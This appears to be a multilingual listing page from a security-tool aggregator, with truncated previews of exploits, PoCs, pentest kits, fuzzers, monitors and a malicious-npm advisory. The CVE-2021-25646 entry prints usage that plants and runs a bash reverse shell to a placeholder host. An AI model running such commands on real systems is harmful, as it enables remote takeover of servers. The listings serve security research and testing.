RemoteKrbRelay

root@kitploit: //, ,//\ \ / \ \ XXX XXX / //, \o-o/-o-o/ / / \ XXX | / \ / ,-/ / \ / /,| | \ | / \ / ,-,,,/ ,,, CICADA8 リサーチチーム Michael Zhmaylo MzHmO 作 RemoteKrbRelay KrbRelay や KrbRelayUp をご存知でしょうが、リモートから でも同じことができるとしたらどうでしょう？ RemoteKrbRelay を使えばそれが現実になります。 TL;DR CertifiedDCOM の詳細は こちら...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd リバースシェルは以下の通り： リバースシェルスクリプトを書き込む python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" シェルスクリプトに実行権限を付与 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" シェルを実行 python3...

jsmon

JSMon JSMon - BugBounty向けJavaScript変更監視ツール このスクリプトを使用すると、監視したいWebサイト上のJavaScriptファイルを複数設定できます。スクリプトを実行するたびに、これらのファイルを取得し、以前のバージョンと比較します。変更があった場合、Telegram経由で通知され、スクリプトへのリンク、変更されたファイルサイズ、変更を簡単に確認できる差分ファイルを含むメッセージが送信されます。 インストール JSMonのインストール: root@kitploit: git clone https://github.com/robre/jsmon.g...

jsmon

JSMon JSMon - JavaScript Change Monitor for BugBounty Using this script, you can configure a number of JavaScript files on websites that you want to monitor. Everytime you run this script, these files will be fetched and compared to the previously fetched version. If they have changed, you will b...

awesome-censys-queries

素晴らしいCensysクエリ集 魅力的で奇妙なCensys Searchクエリのコレクションです。 コントリビューション 素晴らしいクエリを見つけましたか？こちらから提出 別の方法で貢献したいですか？貢献ガイドラインをご覧ください リソース Censys Search CensysGPT Beta - AI Generated Queries Legacy Search Queries - レガシーCensys検索構文と互換性のあるクエリ向け 凡例 🔎 → - このアイコンはクエリのCensys Search結果ページに移動します。 目次 産業用制御システム IoTデバイス...

Pentest-Windows

矛·盾 武器库 v3.2 首个适配Mac M芯片的武器库 中文文档 | English README 作者博客 | 文档教程 | 安全导航 | 微信公众号导航 📖 项目概览 📝 系统简介 本环境旨在提供一个开箱即用的windows渗透测试环境； 本项目欢迎转载，转载时请注明原作者和原文链接:https://github.com/arch3rPro/Pentest-Windows 建议运行环境：【vmware：17.0 】 /【运行内存：8G】 /【虚拟机磁盘：100G】/【硬盘实际占用：30G左右】 系统账号：admin，密码：123456 登录后请及时修改密码!!!...

kratos

チャット · ディスカッション · ニュースレター · ドキュメント · Ory Networkを試す · 採用情報 Ory Kratosは、クラウドネイティブアプリケーション向けのAPIファーストなID・ユーザー管理システムです。ログイン、登録、復旧、確認、プロフィール管理のフローを一元化し、あなたのサービスがそれらを再実装する代わりに利用できるようにします。 目次 Ory Kratosとは？ なぜOry Kratosなのか Auth0、Okta、類似プロバイダーからの移行 デプロイオプション Ory NetworkでOry Kratosを使用する Ory Kratosをセルフホストす...

Malicious code in r4wk-book (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f5cbca68751eb879140f7c896a0dc3c324e9f4dbc8a1651b38b246b299ba4eb On npm install, the package's postinstall hook runs node.worker.js, which detaches a background child, waits a jittered delay, and opens a TCP socket...

qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`

Summary The qwed package version 5.1.1 passes attacker-controlled input directly to SymPy's parseexpr function without a restricted namespace. Because parseexpr internally calls Python's eval, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack...

uafuzz

UAFuzz：针对释放后使用漏洞的二进制级定向模糊测试 定向灰盒模糊测试 （DGF）如 AFLGo 旨在对预先选定的潜在易受攻击目标位置进行压力测试，适用于不同的安全场景：（1）漏洞复现，（2）补丁测试或（3）静态分析报告验证。近期有更多研究工作提升了定向模糊测试的有效性和效率（参见 awesome-directed-fuzzing）。 我们提出 UAFuzz ，这是一个 专注于二进制级释放后使用（UAF）漏洞的定向模糊器 ，通过精心调整定向模糊测试的关键组件，以适应此类漏洞的具体特征。UAF 漏洞在堆元素被释放后被使用时出现。检测 UAF 漏洞很困难：（1）复杂性...

AIP

Attacker IP Prioritization AIP Tool The Attacker IP Prioritization AIP is a tool to generate efficient and economic IP blocklists based on network traffic captured from honeypot networks. With the advent of 5G, IoT devices are directly connected often without firewall protection. Therefore we nee...

netzob

Netzob : プロトコルリバースエンジニアリング、モデリング、ファジング .. image:: https://img.shields.io/badge/Python-3-brightgreen.svg :target: https://github.com/netzob/netzob :alt: Python3 完全なドキュメントはこちらをご覧ください: https://netzob.github.io/netzob/ Netzobについて Netzob は、通信プロトコルのリバースエンジニアリング、モデル化、トラフィック生成、ファジングのためのオープンソースツールです。 Netz...

uafuzz

UAFuzz: Binary-level Directed Fuzzing for Use-After-Free Vulnerabilities Directed Greybox Fuzzing DGF like AFLGo aims to perform stress testing on pre-selected potentially vulnerable target locations, with applications to different security contexts: 1 bug reproduction, 2 patch testing or 3 stati...

sslnuke

sslnuke —— 未经验证的 SSL 并不安全！ 我们都不止一次地听说过，未经验证的 SSL 并不安全。 如果 SSL 连接没有使用缓存的证书进行验证，那么任何攻击者都可以轻易地劫持它。 因此，在 2013 年，人们可能会认为我们已经彻底解决了这个问题。 浏览器会缓存证书，并在站点提供自验证证书（不应被信任）时非常醒目地警告用户， 浏览器厂商基本上已经解决了这个问题。然而，HTTPS 并不是唯一使用 SSL 的协议。 不幸的是，许多其他协议的客户端默认不进行验证，即使它们进行了验证，也无法保证证书的安全传输。 毕竟，有多少人愿意为自己的 FTPS 服务器花 50 美元购买 SSL...

CVE-2020-10749

CVE-2020-10749 CVE-2020-10749 PoC Ataques MitM en Kubernetes mediante anuncios de router IPv6 falsos Solo con fines educativos Requisitos Clúster de Kubernetes con la siguiente versión de kubelet kubelet v1.18.0-v1.18.3 kubelet v1.17.0-v1.17.6 kubelet mtu 1450 state UP inet6...

CVE-2024-5124

被害者サーバーのデプロイ: Docker のインストール root@kitploit: Install packages required for the installation sudo apt-get update sudo apt install --yes ca-certificates curl sudo install -m 0755 -d /etc/apt/keyrings sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc sudo...

ansible-role-log4shell

lucab85.ansiblerolelog4shell Ansible 角色，用于使用 Red Hat 官方 Log4j 检测器脚本 RHSB-2021-009 扫描目标 Linux 主机，以检测 Log4Shell CVE-2021-44228。 已使用 Red Hat 1.3 版检测器 2022-01-10 进行测试。 Ansible Playbook 该代码也以 Ansible Playbook 形式提供：lucab85/log4j-cve-2021-44228 要求 ansible 2.9+ 角色变量 默认变量值 - defaults/main.yml：...

webvm

WebVM このリポジトリには、ブラウザ上で動作するLinux仮想マシンであるhttps://webvm.ioのソースコードが含まれています。 新しいAlpine/Xorg/i3グラフィカル環境をお試しください：https://webvm.io/alpine.html WebVMとは？ WebVMは、HTML5/WebAssembly上で完全にクライアントサイドで動作するサーバーレスの仮想環境です。Linux ABI互換性を持つように設計されており、多くのネイティブ開発ツールチェーンを含む未改変のDebianディストリビューションを実行します。 WebVMはCheerpX...

qu1ckdr0p2

关于 快速通过HTTP或HTTPS托管有效载荷和后利用二进制文件。 专为OSCP/PNPT等考试或HTB等CTF比赛设计。 欢迎提交Pull Requests和Issues，也欢迎任何贡献。 Qu1ckdr0p2附带别名和搜索功能。工具位于qu1ckdr0p2-tools仓库中。默认情况下，它会生成一个自签名证书用于--https选项；当Web服务器运行时，优先使用tun0接口，否则使用eth0。 common.ini定义了--search和-u选项中使用的映射别名。 当Web服务器运行时，屏幕上会打印出多个下载执行语句，可直接复制粘贴。 注意...

CVE-2025-6554

CVE-2025-6554 脆弱性の再現 root@kitploit: for macOS: brew intsall ninja git clone https://chromium.googlesource.com/chromium/tools/depottools.git export PATH=/path/to/depottools:$PATH fetch v8 cd v8 git checkout 13.8.500258 gclient sync -D sh v8asan.sh autoninja -C out/arm64.asan d8...